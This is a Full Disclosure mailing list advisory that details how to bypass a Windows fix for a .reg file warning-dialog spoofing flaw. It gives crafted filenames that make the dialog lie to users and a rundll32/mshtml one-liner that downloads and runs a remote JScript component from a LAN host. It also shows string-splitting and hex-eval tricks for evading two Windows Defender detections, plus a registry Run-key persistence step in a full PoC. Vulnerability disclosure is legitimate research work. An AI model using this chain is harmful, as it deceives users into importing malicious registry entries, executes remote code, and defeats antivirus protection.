Date: Mon, 10 Jan 2022 15:54:44 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Windows .Reg File Dialog Spoof / Mitigation Bypass

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_REG_FILE_DIALOG_SPOOF_MITIGATION_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

A file with the .reg file extension is a Registration file used by the
Windows registry. These files can contain hives, keys, and values.
.reg files can be created from scratch in a text editor or can be
produced by the Windows registry when backing up parts of the
registry.


[Vulnerability Type]
Windows .Reg File Dialog Spoof - Mitigation Bypass


[CVE Reference]
N/A

[Security Issue]
Back in 2019 I disclosed a novel way to spoof the Windows registry
dialog warning box to display an attacker controlled message.
This spoofing flaw lets us spoof the "Are you sure you want to
continue?" warning message to instead read "Click Yes to abort" or
whatever else an attacker would like to display.

This flaw can potentially make users think they are canceling the
registry import when they are in fact importing it, as we can make the
registry security warning dialog box LIE to them as the warning
messages are now under an attacker's control.

The way it works is using a specially crafted .Reg filename, this
allows control of the registry warning dialog message presented to an
end user.

Recently, I noticed in 2022 .Reg file dialog spoof no longer works on
Windows 10, but instead triggers an access violation in Regedit.exe.
Therefore, something has changed in the OS, possibly a silent
mitigation hmmm. Wouldn't be the first time, back in 2016 my
msinfo32.exe
.NFO file XXE injection vulnerability report had a similar fate, fixed
with no CVE or bulletin and that one allowed remote file access data
theft.

In an threatpost.com interview in 2019, Microsoft stated "The issue
submitted does not meet the severity bar for servicing via a security
update"
Reference: https://threatpost.com/windows-bug-spoof-dialog-boxes/142711

However, the "fix" is easily bypassed and the old payload can still be
made to work across systems.

Bypassing .Reg spoofing fix was only the start, I had to find ways to
bypass two different Windows Defender detections along the way for the
PoC.

Trojan:Win32/Powessere.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=2147752427

Backdoor:JS/Relvelshe.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=2147744426

Lets begin...

My original .Reg file spoofing payload of 2019, now triggers an access
violation and crashes regedit.exe from invalid pointer read.

00007FFE7A4A7C83 | EB 0D                    | jmp ntdll.7FFE7A4A7C92
                |
00007FFE7A4A7C85 | FF C9                    | dec ecx
                | ;This loops thru to read in the  path + filename
00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr
ds:[r13],r11w               | ;ACCESS VIOLATION HERE
00007FFE7A4A7C8C | 74 08                    | je ntdll.7FFE7A4A7C96
                | ;Move the string down two bytes
00007FFE7A4A7C8E | 49 83 C5 02              | add r13,2
                | r13:L"10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
00007FFE7A4A7C92 | 85 C9                    | test ecx,ecx

00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr
ds:[r13],r11w               | ; BOOM ACCESS VIOLATION on Win10, but
not Win7

ntdll!woutput_l+0x387:
00007ffe`7a4a7c87 6645395d00      cmp     word ptr [r13],r11w
ds:000001ed`00000000=????
========================================================================================================================================

Online search shows Win-7 still makes up about 22% of the world's
computers, so I ask my friend Security researcher Eduardo Braun Prado
(Edu_Braun_0day)
to help me re-test the .REG file spoof on Windows 7 for completeness.
Turns out my original payload still works on Win-7 and with minor
tweaks on Win-10.

Original works on Win-7, but crashes regedit.exe on Win-10:
Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg

Original payload (first mitigation bypass) works Win-7/Win-10:
Remove second to last byte (%1) before the %0 string terminator and %b
characters Windows_Reg_Spoof_Mitigation_Bypass.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg

New payload mitigation bypass works on both Win-7 and Win-10:
Windows_Reg_Spoof_Mitigation_Bypass.%n%nClick YES to cancel%0.reg

However, we are NOT done yet as we must deal with Windows Defender
detection preventions.

1) Trojan:Win32/Powessere.G
2) Backdoor:JS/Relvelshe.A

Bypassing "Trojan:Win32/Powessere.G"
=====================================
Two components required to defeat Trojan:Win32/Powessere.G detection
in Windows Defender.

A) extra path traversal when referencing mshtml ..\\..\\..\\
B) concatenation when constructing the remote server URL scheme
"script"+":"+"http.

FAIL on current updated Windows 10
C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(1)
Access is denied.

SUCCESSFUL on current updated Windows 10
Using an extra ..\ results in a bypass, but does nothing useful just
an alert box.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";alert(1)

Trying to download and execute remote code using the payload below
fails again, as we need the second component URL scheme concat.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication
";document.write();GetObject("script:http://192.168.1.45/hi.tmp")
Access is denied.

Jscript concatenation of the URL scheme.
document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")

Successfully bypasses "Trojan:Win32/Powessere.G" detection!
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication
";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")

Final hurdle we face, Windows defender detects the below downloaded
file named "backdoor" as Backdoor:JS/Relvelshe.A and removes it from
INetCache.
"C:\Users\victim\AppData\Local\Microsoft\Windows\INetCache\IE\2MH5KJXI\backdoor[1]"

File "backdoor" contents.

<?xml version="1.0"?>
<package>
<component id="testCalc">
<script language="JScript">
<![CDATA[
new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
</package>

Bypassing "Backdoor:JS/Relvelshe.A" detection.
==============================================
The way we do this is to Hex encode our PoC code new
ActiveXObject("WScript.Shell").Run("calc.exe")
Then, call String.fromCharCode(parseInt(hex.substr(n, 2), 16)) to
decode it on the fly passing the value to Jscripts builtin eval
function.

var hex  = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
eval(str)


Done!, successfully bypassed the .Reg spoof mitigation and two Windows
Defender detections. Long Live Windows .Reg file dialog spoofing Flaw!


[References]
Original advisory:
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.REG-FILE-DIALOG-BOX-MESSAGE-SPOOFING.txt
https://threatpost.com/windows-bug-spoof-dialog-boxes/142711/


[Mitigation Bypass, New PoC Video URL]
https://www.youtube.com/watch?v=QANX45jieoo


[Exploit/PoC/2022]
Note: The circa 2019 advisory exploit abused "Image File Execution
Options" to store the payload as a debugger setting for MSIE.
Unfortunately, that no longer works, so we will make do for now with
storing the payload on disk in a .cmd file and registry Run key.

1) Create a .Reg Dialog Spoofing file named,
Sales_Report_2022.%n%nClick YES to cancel%0.reg with below contents
OR use the original payload with minor alterations.
Sales_Report_2022.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg
I prefer the original because the % characters help obscure the
obvious wording in the filename.

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"HATE"="C:\\dump\\s.cmd"


2) Create a Windows .cmd file, "s.cmd", with below contents.
Unfortunately, it needs to be stored on disk using the path as
referenced in the .Reg file above,
update server IP as required.

rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication
";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")


3) Create the remote code Jscript component "hi.tmp", host on server
port 80, it pops calc.exe using WScript.Shell.

<?xml version="1.0"?>
<component>
<script>
<![CDATA[
var hex  = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229";
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
   eval(str)
]]>
</script>
</component>


4) Logout and log back into Windows, BOOM calc.exe runs!


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
Original Vendor Notification: March 1, 2019
Original MSRC Response: " A registry file was created with the title
you suggested, but the error message was clear."
Then vendor sent me a link pointing me to the "Definition of a
Security Vulnerability".
March 10, 2019 : Public Disclosure

Vendor Notification:
January 10, 2022 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion
in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse
of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists